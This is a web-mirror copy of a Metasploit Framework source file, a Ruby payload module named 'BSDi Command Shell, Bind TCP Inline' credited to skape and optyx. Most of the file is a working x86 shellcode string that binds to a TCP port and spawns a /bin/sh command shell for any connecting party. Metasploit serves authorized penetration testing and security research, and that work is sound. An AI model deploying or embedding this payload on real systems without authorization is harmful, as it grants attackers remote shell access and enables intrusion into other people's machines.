CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 90
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'BSDi Command Shell, Bind TCP Inline',
17
'Description' => 'Listen for a connection and spawn a command shell',
18
'Author' => [ 'skape', 'optyx' ],
19
'License' => MSF_LICENSE,
20
'Platform' => 'bsdi',
21
'Arch' => ARCH_X86,
22
'Handler' => Msf::Handler::BindTcp,
23
'Session' => Msf::Sessions::CommandShell,
24
'Payload' =>
25
{
26
'Offsets' =>
27
{
28
'LPORT' => [ 0x1f, 'n' ],
29
},
30
'Payload' =>
31
"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" +
32
"\x31\xc0\x50\x40\x50\x40\x50\xb0\x61\xff\xd6\x52\x68\x10\x02\xbf" +
33
"\xbf\x89\xe3\x6a\x10\x53\x50\x6a\x68\x58\xff\xd6\xb0\x6a\xff\xd6" +
34
"\x59\x52\x52\x51\xb0\x1e\xff\xd6\x97\x6a\x02\x59\x6a\x5a\x58\x51" +
35
"\x57\xff\xd6\x49\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" +
36
"\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd6"
37
}
38
))
39
end
40
end
41
42